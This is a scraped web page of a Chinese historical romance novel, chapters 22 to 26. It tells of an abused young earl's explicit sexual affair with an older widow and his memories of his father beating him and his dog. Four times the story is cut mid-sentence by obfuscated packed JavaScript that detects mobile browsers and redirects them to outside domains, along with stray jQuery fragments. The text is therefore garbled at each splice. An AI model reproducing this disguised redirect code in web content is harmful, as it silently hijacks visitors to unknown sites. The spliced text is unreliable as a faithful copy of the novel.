;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410316|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他逗笑了。 “不不不，我只是想告诉你，那是女人身上最值得注意的地方，你一定要仔细伺候。” 说完，她用挑逗的眼神看了看他的裤子，又继续道：“我们要不要解决一下这个问题？” 克里斯蒂安确实已经到了悬崖边缘，而他无法控制。 他可能根本无法讨她的欢心了。 “克里斯蒂安，脱掉你的衣服，让我看你，让我感受你。” 闻言，克里斯蒂安立刻就退缩了。父亲的嘲笑声再次在他的脑海中响起，他是个怪胎，他是个残次品，他这辈子就这样了…… “不！”他的声音又变得惊恐了起来。 佩内洛普顿时意识到了什么，问：“你是不希望我看见你的身体吗？” 克里斯蒂安难堪地别过了头去。 但佩内洛普依旧露出了包容的微笑，道：“好吧，如果你介意，就把我的眼睛蒙起来吧。克里斯蒂安，我现在太需要你了，不能让你就这么离开。” 她的舌头足以诱惑魔鬼…… 克里斯蒂安想，这确实是个好方法，可以保守他的秘密，也可以让他一偿夙愿。 只是，当他真的准备去蒙住她的眼睛时，他看着它们，又是那么不甘愿。 他爱她美丽的眼睛，他希望自己可以全程凝视着它们，从它们中看出她的所有反应。 可是，他已经因为对她的爱意冒了太多风险，他真的不能继续冒险了。 他如此警告着自己，犹豫再三，还是温柔地蒙住了她的双眼，跪在了她身前，让自己第一次尝试着，去与一个女人在一起。 该死，真该死，她给他的感觉是如此美好，难以置信的美好，几乎就像是天堂本身。 他的头脑热得发昏，盲目的需要令他无法自拔，当他意识到自己马上就要爆炸了时，他仅有的一点控制力也完全消失了。 几秒钟后，他耻辱地离开了她，穿好衣服，整个人慢慢变得心如死灰。 他就是个傻瓜！ 他捂着脸，强忍住在她的床头呕吐的冲动，如此悔恨地想，他本不应该这样轻易地被她引诱，他父亲说得对，他就是一个残次品！ 被蒙着眼睛的佩内洛普不清楚他在想什么，却也感觉到了气氛的微妙。 她忍不住呼唤他：“克里斯蒂安？” 克里斯蒂安这才想起来自己居然都忘记解开她了。 他赶忙把她的手放下来，并本能地在她的手腕处揉了揉，然后，就羞愧地背过了身去，不敢再看她。 “怎么了？”她扯下蒙眼布问。 “我想你不是不明白怎么了，你不必这么为了我的自尊心着想，我都清楚，我表现得很糟糕。” 佩内洛普很想笑，但她知道他一定会误解，于是她愣是忍住了。 “男人第一次差不多都是这样，真的，你只是需要一些练习，我向你保证，下一次会更好的。” 他立刻道：“再也没有下次了。” 话一出口，他就开始感到痛苦，他才刚刚在自己最心爱的女人身上体验了极乐，就必须从此放弃，他的人生将注定变得比从前还要难熬了。 23. Chapter 23 克里斯蒂安坐到了壁炉前，一言不发地盯着跳动的火焰。 佩内洛普默默拿了一件睡衣穿上，然后走到了他身边，看着他忧愁的脸。 她讨厌他这个样子，也猜到了只有谁会给他带来这么大的影响，他该死的也确实已经死了的父亲。 前任伯爵到底都给他灌输了些什么？ 她的心不由自主地随着他的情绪低落下来，但很快，她意识到自己不该这样。她不能让自己过于在乎他的一切——因为他终将离开，就像在他之前的每一个男人一样。 她可以与他有一段短暂的风流韵事，但不能彻底爱上他。她曾经犯过错，不能再犯一次，像马修·麦金托什那样对她矢志不渝的男人世间只有一个，所以上帝带走了他珍贵的灵魂与火热的身体，让她这辈子再也找不到一个真心的爱人。 她是注定要孤独终老的，好在她并不缺钱，也懂得理财。 她深吸一口气，努力调节好自己的情绪，然后柔声开口：“克里斯蒂安。” 可他只是低声说：“我该回去了。” 佩内洛普无论如何也没料到他竟然会说出这样的话来，她失望地看着他：“你确定要对我这么粗鲁吗？通常男人只有觉得十分不满才会这么快离开，你……你对我不满吗？” 克里斯蒂安沉默片刻，最终还是选择了留下来——因为他对她并无不满，真正让他无法释怀的，是他自己。 她给他们都倒了一杯干邑白兰地。 她不是个贪杯的人，平日很少喝酒，但现在，她需要一杯包治百病的白兰地来灼烧她的喉咙，稳定她的情绪，让她整个人平静下来。 他显然也一样。 他一口气喝了整杯白兰地，然后才有勇气问她：“你会不会开始讨厌我？” 因为他的失礼，因为他的如此狼狈…… 佩内洛普愣住了：“讨厌你？你怎么会这么想呢？我只会觉得我非常幸运。” 这一次，轮到克里斯蒂安怔住了。 “幸运？”他低声重复着她的用词。 不过是睡了区区一个他而已，她有什么可觉得幸运的？他甚至连一个真正的男人都算不上，他糟糕透了。 佩内洛普轻笑了一下，眼底闪过一丝狡黠：“你保留了你的童贞直到现在，最终献给了我，我为什么不能觉得自己很幸运呢？而且那些胡说八道的女人里不乏让我厌恶的，我现在知道你压根没碰过她们，这很好。” 克里斯蒂安沉默了片刻，心里五味杂陈，他这种战利品可能还不如没有。 可他仍然为她的话感到释然，确实，他将他的童贞献给了他第一个恋慕的女人，这其实很美好。 她说她幸运，他才是多么幸运啊。 看到他终于开始放松下来，佩内洛普也松了口气，她握住了他的手，道：“再和我谈一谈你的家人吧，当然，如果你不愿意的话，我绝不会勉强你。” 克里斯蒂安低头凝视着她的手指，感受着她掌心的温度。他沉默了片刻，最终还是开口了：“我的家人……” 他的喉结微微滚动了一下，似乎是在组织语言。 “你是知道的，我母亲在我小时候就去世了，我对她的记忆越来越模糊了，只记得她是个很温柔很虔诚的人，很喜欢在黄昏时坐在花园里。每当我表示不想看到父亲时，她都会替他向我解释。在她那里，他曾经是世界上最好的人，他们是因为真心相爱才结的婚。” 听到他最后一句话，佩内洛普一时间也情不自禁地想起了自己。 她的父母当年也是因为真心相爱才结的婚，不然以赫尔斯顿侯爵的势利，他绝不会娶一个没有什么嫁妆的区区准男爵之女做侯爵夫人，所以，当他唯一深爱的妻子为了给他生下男性继承人而难产去世后，他彻底丧失了最后的一点人性了。 但关于这些故事，她什么也没有对他说，毕竟现在是他的时间，她只需要做一个优秀的倾听者就够了。 “在我还是个幼儿时。”他继续道，“我还会指望一下父亲是否会良心发现，但事实告诉我，他到死都没有给我一个好脸色。” “我很遗憾。”她在他的手背上轻轻拍了拍，以示自己的安慰，“他怎么可以对一个孩子那么残酷？” 说出这句话，佩内洛普这才猛地明白了过来。他当然不会希望在其他人面前裸露身体，因为他的父亲不仅用辱骂毁掉了他的自尊心，还曾殴打他。 他挨过很多很多打，他的父亲甚至会拿烟斗烫他。 他的身体，他的身体可能还有伤痕。 想到这，她的眼眶都不禁红了。 克里斯蒂安一看见她伤心就完全忘了自己的事，他温柔道：“你很同情我，是吗？” 佩内洛普点点头：“我想你不需要别人的同情，但我无法克制自己。” 他鼻子一酸，道：“我现在很好，佩内洛普，再也没有人殴打我辱骂我了。” “有时候，我真希望我可以更早地遇见你，即便我根本就无法保护你。”她说着，几乎无法控制自己的哽咽。 这应该是他的想法才对，克里斯蒂安忍不住想。当他听见她吃过的苦时，他心如刀割，他多么想回到过去，好挽救她那可怜的两个孩子，挽救她注定要不断下跌的人生。 可那注定是不可能的…… 而且，若说与他更早地相遇，她其实确实早就遇见了他，只是那时候她错认了他的身份，之后也迅速地忘记了他，只有他始终记着，她的相貌，她的打扮，她的每一句话。 当时，她用嘶哑破碎的声音对他说：“那就请你转告你的父亲，佩内洛普·考德威尔女爵求见。当他回来时，如果他心中有任何的同情心或荣誉感，他必须来见我，必须！” 可之后，他同学的父亲只是气愤地对他说：“佩内洛普·考德威尔没资格来打扰任何人。女人，她们总是不知道什么时候游戏已经结束了。” 在那个所谓的钟爱亡妻的男人看来，这一切不过就是一场游戏，两个人从中获得乐趣，没有遗憾，没有责备。 可他只在乎她当时在哭泣…… 现在，她在他面前再次情不自禁地掉下了一滴眼泪，这是唯独为他而掉的珍贵的眼泪，却并不让他感到任何的满足。 他轻柔地为她擦去眼泪，又倾身吻了吻她的眼睛。 佩内洛普，永远也不要哭了好不好？ “都过去了。”他说，“别再想了，佩内洛普，我们再谈谈我妹妹吧，费思，她也有着一个经典的信徒名字，她嫁给了黑斯廷斯侯爵，他们非常相爱。” 佩内洛普道：“我想我曾经见过她，她非常漂亮，与她的丈夫非常登对。” “我努力确保了她的幸福，毕竟她的童年也不太愉快，母亲早早地去世了，父亲也完全忽视了她，搞得她就算被她的保姆欺负了，也只敢躲起来哭。” 佩内洛普问：“她为什么不告诉你，让你来保护她呢？” 克里斯蒂安道：“她知道我的生活已经够辛苦了，不想给我增添任何麻烦，这个傻女孩。好在后来有多蒂陪着，她们都是女孩子，更有共同语言，也更好整天待在一起。” “而你则在背后默默地照顾着她们。” 他叹了口气：“可惜，最后我还是因为圣-约翰失职了。” 佩内洛普道：“这不能怪你，当然，也不能怪多萝西，只能怪那个混蛋。” “如果我当初再多关心她们一点……” 佩内洛普不得不上手捧住了他的头，认真道：“你不是上帝，克里斯蒂安，现在我必须也对你说那句话了，一切都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416282|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去了。” 是啊，都过去了。 克里斯蒂安释然地笑了笑，他确实没必要总是想着那些自己没能挽回的事情，现在，他的两个妹妹都很幸福，他只需记得这个就够了。 见此，佩内洛普也微笑着，轻轻地吻了吻他的嘴唇。 “克里斯蒂安。”她又轻轻地唤他的名字，让她带着淡淡白兰地气味的呼吸喷洒在他的脸上，这对他非常有吸引力。 “怎么了？”克里斯蒂安问，声音中带着一丝迟到的醉意。 “时间还早不是吗？”她暗示性地问。 克里斯蒂安看了眼房间里挂着的钟，发现时间确实还早。 然后，他才反应过来她真正的意思，一时间，脸又变红了。 该死，真该死，他在她这里就没法有正常的脸色了吗？ “你是个好学生，但我认为保险起见，你仍然需要一些练习，不然，我也是真不敢把你扔到伦敦的社交场上去。” 她仍然觉得自己就只是在指点他？ 克里斯蒂安的心里顿时觉得有些不是滋味。 他摇了摇头：“我不觉得我应该只是个学徒，女士。” “你确实是。”佩内洛普道，“一个完美的学徒，我很满意你在我的卧室里。” “这样的话可有些恼人。”他在她耳边说，“我真不知道该拿你怎么办。” “感觉是相互的。”佩内洛普道，“有些时候，你也很恼人。” 她说着，又吻了吻他的脖颈。 “你明白我不能同意吗？” 她半开玩笑道：“这就是现场表演你究竟有多恼人。” “佩内洛普。”他紧紧拉住了她的手，“我没有在开什么玩笑，我是说真的，也许你会想给我一巴掌，但我们今天发生的事情不能再发生了。” “为什么？”佩内洛普问。 然后她意识到，她可能也会使男人失望。岁月不饶人，她毕竟不再是那个嫩生生的二十岁女孩了，他可能曾经觉得她的年龄不是问题，但现在在他看来，她就是个各方面都下垂了的老女人。 “是我让你失望了吗？” 她的话才问出来，克里斯蒂安便立刻结结巴巴地抗议：“你……你说什么？” 然后不等她再问，克里斯蒂安又道：“你无论哪里都让人惊叹，佩内洛普，你怎么会这么想？明明真正让人失望的那个人是我才对。” 他激烈的反应安了她的心：“那我们为什么不能趁着时间还早再来一次呢？” “我真的不能，佩内洛普，我……我就是个残次品，我只是半个男人……” 他还是脱口而出了自己内心的想法，并转头就后悔得只恨不能一口把舌头咬下来。 好在佩内洛普没有联想到那方面，她只是愤怒道：“又是你父亲灌输的？” 克里斯蒂安没有否认。 “你为什么非要听一个混蛋——我很抱歉——的话，而不是听听我的话呢？我觉得你是世界上最好的男人之一，我从认识你开始，就疯狂地想要你，我甚至当天晚上就梦见了你，我梦见你吻我，用你的舌头让我登上顶峰，一次又一次，我也相信你完全可以做到这个。” 她大胆的表达让克里斯蒂安顿时手足无措起来。 他的嘴巴打开又闭上，好几次，愣是什么都没有说出来。 佩内洛普继续道：“我知道你都在乎什么，你可以像之前一样蒙住我的眼，我们也可以一直在黑暗里做，我是认真的，我喜欢你，我也希望你在我身边时永远是放松的、舒适的。” 克里斯蒂安在她灼热的视线里闭上了双眼，不去看她。毕竟诱惑他对她而言实在太简单了。 于是佩内洛普索性跨坐到了他身上，而他的反应非常迅速，令她很满意。 24. Chapter 24 佩内洛普微笑道：“哦，克里斯蒂安，承认吧，你依然想要我，就像我也想要你一样，这不是谎言，我又何必要对你撒谎呢？” 是啊，她何必对他撒谎呢？ 可克里斯蒂安执拗道：“这不可能是真的，我太糟糕了。” 她居高临下地看着他：“你曾经很相信我，相信到可以向我倾吐许多心事，可现在，我感觉到你已经不再相信我了。” 他盯着她看了很久。 相信她？他当然非常非常相信她，不然他也不会说出那么多隐秘的故事，不会与她真的有了关系，可他实在是害怕，他可能将一辈子被困在父亲一手为他制造的梦魇里。 佩内洛普看着他眼中慢慢浮现出熟悉的惊恐，也明白他才刚被说动一点就又开始退缩了。 前任朗斯通伯爵真是人渣中的人渣！ 她很想继续要求他，鼓励他，但她也知道，他们不可能就一直这么下去。而且，她一向是被男人追求的那个，她也有自尊心，她可不能在爱情游戏中如此落入下风。 她安静地等了很久，直到他终于有了动作，他拉住了她绕着他脖颈的手。 她屏住了呼吸。 可他没有把她的手甩开，而是珍而重之地捧到了嘴边，用他的双唇吻遍了她的每一根手指。 然后，他解开了他的衬衫扣子。 他的动作让她大吃了一惊。他的身体伤痕累累得让她痛心，却仍旧很美，几乎像是一座云石雕塑。 她立刻便着迷地将手按在了他的胸膛上，想要仔细地抚摸他，这让他不禁剧烈地颤抖了一下。 他实在太不习惯这样的触碰了。 她故意问他：“你怕痒吗？” 他想了想，摇了摇头：“我想不。” 佩内洛普的本意是与他开个小小的玩笑，可他的答案却让她感到微妙。 他为什么要说“我想”？怕就是怕，不怕就是不怕。 于是，她有些调皮地伸手挠了挠他的肚皮。 他浑身都抖起来了，并迅速抓住了她的双手，阻止了她继续下去。 她笑了：“你显然很怕痒。” “也许我确实怕痒。”他不得不承认。 “也许？”他的措辞再一次引起了她的注意，“别告诉我你一直都不知道。” “我想……”他的声音渐渐消失了，因为她歪着头的样子非常可爱。 “我想我没有机会去发现这个。” 佩内洛普的身体僵住了。 一个男人活到差不多三十岁的年纪还不知道自己怕痒，看在上帝的份上，这怎么可能？ 她知道，他一直生活在身体上的暴力中，她也知道，除了他早逝的母亲外从来没有人关爱过他，他甚至还需要去关爱别人，但她自己毕竟是没有经历过这样的童年，直到现在，她才彻底体会到了他长久以来的孤独。 在这个世界上，没有人曾经像她一样地去靠近过他。 明明他值得这一切，他值得被亲吻、被抚摸、被拥抱、被取悦。 他值得被爱。 可她却偏偏不能爱上他。 她太脆弱了，她的心好不容易才被修补好，她不能再被伤害一次，那样她将活在痛苦之中，一生一世。 “克里斯蒂安。”她轻轻地开口，“请你再爱我一次吧。” 她声音中透着的痛苦让克里斯蒂安根本无法说出任何拒绝的话。 比起他自己的感受，他从来都更害怕她会觉得难过。 他任由她倾身，将嘴唇贴在他的皮肤上。他没有克制住自己，再次颤抖了一下，但她将另一个吻放在他的胸口上不同的位置时，他没有动弹。 慢慢的，她用嘴唇吻遍了他的耳下、他的脖颈、他的胸口…… 当她在他的胸口停下来，调皮地轻轻舔过，并用牙齿温柔地摩擦，他发出低沉的喘息声。 “这让你感觉好吗？”她问。 “天呐，是的。”他说。 比世间的一切都好。 她把手放到他的手上，引导着他将手从她的睡裙底下伸了进去，抚摸她的身体。他很轻松地掌握了让她发出同样声音的方法。 他显然非常喜欢取悦她，当他这么做时，他几乎完全遗忘了自己的需求。 可是，当她也将手伸到他的身下，想要继续好好挑逗他时，他还是吓得立刻握住了她的手，阻止了她。 这让她吃了一惊。 看来，并不仅仅只是因为身体上的累累伤痕。 天呐，他到底吃了多少苦？ 佩内洛普强行令自己不要去在意他的颤抖，继续道：“就现在，好不好？” 他乖乖就着这个姿势将她抱了起来，去到了床上，然后，他犹豫了一下，还是选择蒙上了她的眼睛。 她没有尝试阻止他。 他温柔地捧起她的一只脚，从她的脚踝开始一点点亲吻。 这一次，他决定好好花时间去用她所梦见过的方式去吻她。 只是，他恐怕有些学艺不精。 在他的停顿中，佩内洛普疑惑地问：“你是在想什么吗？” “我想亲吻你，在你需要的地方。”他轻轻说，“我想仔细地探索你的一切，因为你身体的每一部分对我来说都是宝贵的。” 她笑了，然后，她挑逗地用脚蹭了蹭他的后背，邀请道：“那你为什么不这么做呢？如果你是担心做得不好，没关系，没有谁天生就是出色的情人，我会指导你。” 于是，他给自己鼓了鼓气，也立刻这么做了，用她想要的方式取悦她。 他是个绝佳的学生，佩内洛普如此想着，深吸了一口气，简直就要因他带来的美妙感受而窒息。 在她的指点中，他的手与他的舌头完美地配合着，把她推向了一个难以想象的世界。 她不能自制地伸开双腿，弓起身子扭动起来，整个人几乎无法思考。 但当克里斯蒂安决定再次与她合为一体时，他犹豫了比之前还要更长的时间。 佩内洛普等着等着，等得都怀疑他是不是已经偷偷地逃跑了。 “克里斯蒂安？”她再次疑惑地问他，“你……还在这里吗？” “我没有逃跑。”克里斯蒂安尴尬道。 虽然他不是没想过要逃，现在也依旧在想，只是他根本逃不了。 于是，佩内洛普又问他：“那你在做什么？” “在看你有多美，我真希望可以就这么一直看着你。” 看一辈子。 没有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426879|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不爱听这种赞美，佩内洛普笑了：“我喜欢听你这么说，但现在，我更希望你可以做点别的。” 他听从了她，让美妙的感觉再次席卷了他的全身。 令他感到惊讶的是，一切确实有了微妙的变化，他发现他可以开始试着延长他的感觉，好更细致地品味她。 然后，她回应了他的动作，伴着代表愉悦的声音，那使他格外热血沸腾。 他们就这么完美地配合着，当她开始猛烈地颤抖时，一阵紧张感传遍了他的背部和双臂，他在强烈的快感中倒了下去，双手本能地想要去解她的蒙眼布，与她对视，但脑海中的警告让他停下了动作。 …… “那很完美，不是吗？现在你愿意相信我了吗？”她声音沙哑地问。 “我确实不该怀疑的。”他一边吻她的脸，一边低声道。 她又问：“我现在可以看看你了吗？” 克里斯蒂安这才想起来自己得穿好衣服，而不是准备就这么搂着她睡觉。 当他解开她的蒙眼布时，他意识到，他这一次并没有绑住她的双手。 但她全程没有尝试着去解开它。 她是如此尊重他…… 他咬紧了牙关，拒绝让自己太被她打动，因为他真的不能再更爱她一些，再与她说更多东西了。 “其实我挺喜欢被这样蒙住眼睛的。”她笑着说，“当你取悦我时，它使得一切都变得禁忌而罪恶，不是吗？” “我……我真的取悦你了吗？” 这句话才说出来，他又后悔了，他就像个在寻求安慰的小孩子。 “你比任何男人都更懂得取悦我。” 面对一个绝对老练的情人，克里斯蒂安告诉自己，他绝不能随意相信这样的话，更别提为之感到雀跃，但他根本控制不了自己。 他立刻道：“我该让你睡觉了。” “别离开我。”她立刻道，“再陪我待一会儿吧，至少等我睡着，好不好？” 听到她这么说，克里斯蒂安明白自己目前是哪儿也去不了了。 他熄灭了灯，再次钻进了被单下，将她搂在了自己的怀抱里。 她什么也没有再说，只是依偎着他。 他闭上眼睛，沉浸在她蜷缩在他身边带来的温暖中，不知不觉间，他直接就睡过去了。 他做了好多梦，一会儿梦见童年，一会儿梦见佩内洛普，一会儿又梦见自己其实一直在家里，与佩内洛普的一切不过是个美丽的梦。 直到第二天，他睁开眼睛，看到黎明的光芒照亮了她的房间，他才意识到自己竟然没有离开。 刹那间，前一天晚上那令人脸红心跳的情景又涌上心头，他也感觉到了怀中温暖柔软的女人。 从她身边挣脱开是一种纯粹的折磨，但他必须趁着她还没醒时这么做，因为只有这样他才能回到自己空荡荡的房间里，躺在自己冷冰冰的床上，让自己清醒一点。 他不能太沉溺了。 他现在最需要的是好好思考。 可他也不想就这么不告而别，那太失礼了，一定会让她伤心。 于是，他走向她的书桌，拿起了纸与笔，仔细写了一张便条，这才顶着一身皱巴巴的衣服轻手轻脚地离开了她的卧室。 25. Chapter 25 克里斯蒂安一下楼就遇上了佩内洛普的贴身女仆艾米莉。 面对年轻勋爵的衣冠不整，她扬了扬眉毛，露出了一抹意味不明的笑容。但让克里斯蒂安感到庆幸的是，对此她什么也没有评论，只是礼貌地向他行了一个屈膝礼，然后他尴尬地向她点了点头。 “要我让男仆为你叫一辆出租马车吗，爵爷？”她贴心地提议道。 克里斯蒂安如释重负，立刻道：“当然当然，谢谢你，艾米莉。” 他可不想顶着这么一副尊容在外面叫车，那会成为一个多么可怕的笑话，而且势必经久不衰。 终于坐上马车，他说出住址，整个人便陷入了沉思。 他犯了个大错！ 这是他的第一个念头。 过去十年，他一直逃避着与任何女人展开任何关系，结果，只是去佩内洛普家吃个晚饭，他就失去了所有的原则，两次！ 第二次，他甚至在她面前脱掉了他的上衣，好让她可以抚摸他、亲吻他。 想到她的吻，他的身体又热了起来。 他该怎么避免重蹈覆辙，又不至于会伤了她的心呢？ 佩内洛普……佩内洛普…… 他无法理解莱顿怎么会为了玛格丽塔·贝罗奇奥而抛弃她，他也无法理解他同学的父亲怎么会无视她的眼泪。他真想去拜他们为师，和他们学习学习冷酷的技巧，他完全无法抗拒她。 他爱她。 他永远也无法否认这个。在与她接触之前，他一直以为他的感情没有那么深，毕竟他与她几乎就是陌生人，可现实告诉他，他对她一见钟情，除了她，谁也无法影响他到这个地步。 他又想起了她为他流的眼泪。 他从六岁起就再也不流泪了，因为他的父亲不允许。 他最后一次哭泣时，他的父亲把他养的小狗放在腿上，用一把尺子狠狠地打它的鼻子。 当时小狗痛苦地吠叫着，试图挣脱他父亲的控制。他父亲又打了它一下，声音大到连小小的克里斯蒂安都能听到尺子划破空气的声音。 “以后再让我看到你跟个娘们一样掉眼泪，我会直接杀了它！” 他真希望那只狗可以反抗，可以狠狠咬他父亲，但他知道，它太温顺了，它不敢，而且一旦它咬了，那只会带来一个结果，它会被杀。 那只被虐待的狗其实就像他。 他是个人，不至于会被杀，但他的父亲是他的监护人，照样可以用许多方式让他觉得还不如被杀。 当他的父亲把小狗扔在地上，它快速地跑到他的身边躲起来，整个小身体都在发抖。 他的心都碎了。 从那时起，他就明白，如果他想保护自己爱着的一切，他只能坚强起来，不论那究竟有多难办。 马车停下后，他从车里出来，在清晨的冷风中，他格外怀念佩内洛普温暖的怀抱。 他本可以一直呆在她身边。 他叹了口气，正要走进自己的联排别墅，就看见了与他住得不远的莱顿勋爵。这家伙估计也正从情妇的房子回来，但看起来却十分整洁。 也许他也应该送几件衣服到佩内洛普那里，以备不时之需…… 天呐，他能不能不要再想这些有的没的了，他难道不是决定了，他与她的特殊关系仅限于昨晚吗？ 可当莱顿迷惑地看着他这个鬼样时，作为佩内洛普暂时的新欢，他还是情不自禁地给了对方一个挑衅十足的眼神。 即便莱顿再蠢，看着克里斯蒂安这个春风得意的样子也能看明白，这家伙这是正从佩内洛普的住所回来。 但莱顿实在不太明白，吃自己甩掉的残羹冷炙到底是有什么好得意的，现在的年轻人的脑子里都在想什么呢？还是他的玛格丽塔好，又年轻漂亮，又正巧跟他特别聊得来。 * 佩内洛普没料到克里斯蒂安竟走得那么早。 她睡得很香甜，但当她醒来，往旁边一摸却摸了个空时，她大失所望。 她多么希望他能与她待一整夜。 她从床上爬起来，发现他在她的床头留了一张小纸条，上面笨拙地写着他的道谢以及邀约。 她笑着，重新倒回枕头上，把纸条按在她的心口，然后，她又翻了个身，躺在了昨晚克里斯蒂安躺过的地方，一边闻着他的味道，一边想着他们共同度过的美妙时光。 他是个好学生，学得很快，她随便一教，他就什么都明白了。 明白，而且愿意。 他愿意用所有他知道的方法去取悦于她，这是大多数男人都做不到的。 尤其他还那么年轻。 当艾米莉端着早餐上来伺候佩内洛普时，所看到的就是这么一个场景，她的女主人满面春风、充满活力，笑得就像回到了二十岁。 这就是年轻男人的好处啊。 她忍不住与佩内洛普讨论在楼下遇见他时的场景，他当时衣衫不整的又要努力微笑的样子是多么滑稽。 佩内洛普想着他当时的模样，也不禁觉得好笑。一个缺乏经验的男人，确实非常可爱。 她上一个这样纯真的男人还是她早逝的丈夫，只是那时候她自己也同样纯真，两个人缺乏经验到一起去了，导致她完全没有感受到现在这种乐趣。 “你想过怎么处理与他的关系了吗？”艾米莉忽然问她。 佩内洛普回过神来，道：“我不知道，他对我来说太特别了，我必须好好思考，说实话，我有时候甚至觉得他就像一个孩子，一个脆弱不堪的孩子。” “孩子？”艾米莉用调侃的语气重复了这个词，“如果你真觉得他是个孩子，还是脆弱不堪的那种，你就应该办个手续收养他、保护他，而不是把他弄上你的床，第二天还笑得跟只刚偷喝了一罐奶油的猫一样。” 佩内洛普臊得满脸通红，直接给了女仆一个白眼。 “我本来就够伤心自己越来越老的事实了，你竟然还要这么刺激我？”佩内洛普半真半假道。 “你还不至于经不起这点刺激，女爵，而且你依旧和我第一次看见你时一样年轻美丽，我不明白你为什么要为一些根本不存在的事情烦恼。” “它存在。”佩内洛普道，“而我们也不应该对这个问题避而不谈，艾米莉，你已经照顾我十几年了，没有人会比你更清楚我的改变，我已经接受现实了，就只是，还是会觉得难过。” “我可真是哪壶不开提哪壶。”艾米莉懊恼道，“当我求你了，再笑一笑吧，在经过了莱顿勋爵的阴影之后，我真的很高兴看见你因为朗斯通勋爵而开心起来。” “他们对我的影响不至于那么大。”佩内洛普抗议道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431033|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然。” 女仆这一次没有说些什么多余的话，但她的语气显示出她其实仍旧坚持己见，这让佩内洛普有些生气，又不知道该什么好，只能郁闷地拿起托盘上的果汁喝了两口。 “你是什么时候遇见的朗斯通勋爵在楼下？” 艾米莉道：“六点左右。” 佩内洛普在心中轻轻地惊呼，六点！他真的待了一整夜，而不是就像她说的一样，在她睡着之后立刻就走了。 她知道，她如此兴奋实在很不应该，她并不准备陷进与克里斯蒂安的短暂感情里，但她根本无法克制自己。 她笑着，拿起面包啃了一口，就熟练地翻开了早报，然后，她的笑容开始变得僵硬。 他们太久没有一起亮相于社交场合，大家很难不猜测他们已经“分手”了。虽然这个词用在他们身上并不恰当，他们之前一直只是朋友，但大众显然不是这么想的，他们都认为他们是情人。 专栏作家的言辞极尽刻薄，几乎句句都不忘提起他们的年龄差距，然后，他还畅谈了一番克里斯蒂安与米娜的那支舞，并希望克里斯蒂安如今已经明白了，正常的感情是什么样的。 “正常”这个词深深地刺痛了她。 她当然知道，克里斯蒂安对米娜根本没有任何想法，无论这个女孩有多可爱，而她过去也从来不会真正去在意这些三流小报上的言论，因为那时候无论他们如何互相吸引，他们也就真的只是“朋友”，他们问心无愧。 可现如今，她与他的关系毕竟是已经转变了，再次面对这些言论，她开始控制不了地感到伤心，她比米娜大了十七岁，她完全可以做米娜的母亲。 克里斯蒂安在她们之间偏偏选择她，只能说明他这个人不正常。 正好，他自己也一直都觉得自己很不正常，是个残次品。 残次品与老女人…… 她起身走到窗边，晨光透过薄纱洒在了她的脸上，那双总是自信从容的眼睛里掠过一丝挣扎。 昨晚的事情绝对不能继续发生了，他们短暂的风流韵事就这么结束吧，她如此告诉自己。不管克里斯蒂安让她觉得多么年轻、快乐，就像是回到了天真无辜的十七岁。 长痛不如短痛，她必须尽快与克里斯蒂安分开，趁着她还不会为此感到伤心欲绝的时候。 她不能一直做个吸血鬼，妄图靠引诱年轻男人吸取他的青春来抓住自己的青春，就像个绝望而苍老的可怜虫。 “艾米莉。”她终于开口，语气比刚才平静得多。 “我想，我犯了个大错，我跟朗斯通勋爵不能继续这样下去了。” 艾米莉挑眉，显然是对她这突如其来的决定感到意外。 “你确定吗，女爵？” 佩内洛普笑了笑，笑意里带着她惯有的风情，却又透出一丝悲伤。 “当然，我实在是被年轻男人的热情冲昏头脑了，我遗忘了许许多多问题。” 她不能自私到非要将克里斯蒂安困在她的世界，她也不能让他成为她的最后一场幻梦。 他们就这么结束吧。 反正，他也该意识到自己其实没什么不正常的了。 也许，现在他自己都想要结束了，男人不一贯如此吗？得到了，便厌弃。她不能因为他有一双真诚的眼睛就轻易向他交托出所有的信任。 26. Chapter 26 